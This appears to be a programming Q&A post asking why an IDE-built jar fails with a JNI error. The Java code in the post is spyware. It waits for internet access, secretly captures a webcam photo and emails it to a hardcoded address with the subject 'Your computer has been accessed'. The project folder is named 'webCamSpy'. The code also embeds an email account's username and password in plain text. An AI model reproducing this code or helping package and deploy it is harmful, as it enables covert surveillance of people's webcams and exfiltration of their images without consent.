title: cannot run .jar file
body: <p>I am trying to make a jar file from the following code:</p>
  
  <pre><code>public class Main {
  
      public static void main(String[] args) {
  
          boolean net = true;
          int num = 0;
  
          do {
              if (netIsAvailable()) {
                  webCapture();
                  mailSend();
                  net = false;
              }
  
          } while (net);
  
          System.exit(0);
  
      }
  
      public static void webCapture() {
          // get default webcam and open it
          Webcam webcam = Webcam.getDefault();
  
          webcam.setViewSize(new Dimension(640, 480));
  
          // creates test2.jpg
          WebcamUtils.capture(webcam, "test2", "jpg");
      }
  
      private static boolean netIsAvailable() {
          try {
              final URL url = new URL("http://www.google.com");
              final URLConnection conn = url.openConnection();
              conn.connect();
              return true;
          } catch (MalformedURLException e) {
              throw new RuntimeException(e);
          } catch (IOException e) {
              return false;
          }
      }
  
      public static void mailSend() {
          final String username = "javaMailTest002@gmail.com";
          final String password = "anaaremere";
  
          Properties props = new Properties();
          props.put("mail.smtp.auth", "true");
          props.put("mail.smtp.starttls.enable", "true");
          props.put("mail.smtp.host", "smtp.gmail.com");
          props.put("mail.smtp.port", "587");
  
          Session session = Session.getInstance(props,
                  new javax.mail.Authenticator() {
                      protected PasswordAuthentication getPasswordAuthentication() {
                          return new PasswordAuthentication(username, password);
                      }
                  });
  
          try {
  
              Message message = new MimeMessage(session);
              message.setFrom(new InternetAddress(username));
              message.setRecipients(Message.RecipientType.TO,
                      InternetAddress.parse("alindradici@gmail.com"));
              message.setSubject("Your computer has been accessed");
              message.setText("Congratulation!");
  
              MimeBodyPart messageBodyPart = new MimeBodyPart();
  
              Multipart multipart = new MimeMultipart();
  
              messageBodyPart = new MimeBodyPart();
              String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
              String fileName = "attachmentName";
              DataSource source = new FileDataSource(file);
              messageBodyPart.setDataHandler(new DataHandler(source));
              messageBodyPart.setFileName(fileName);
              multipart.addBodyPart(messageBodyPart);
  
              message.setContent(multipart);
  
              Transport.send(message);
  
              System.out.println("done, email sent ok");
  
          } catch (Exception e) {
              System.out.println("Email sending problems");
              e.printStackTrace();
  
  
          }
      }
  
  }
  </code></pre>
  
  <p>Works fine,compiles and runs without problems,but when i do:
  File | Project Structure | Artifacts click the plus icon and create new artifact choose --> jar --> From modules with dependencies.</p>
  
  <p>Build | Build artifacts
  and when i try to run the new created jar file I get the error:a jni error has occurred please check your installation and try again . Any idea how to solve this?</p>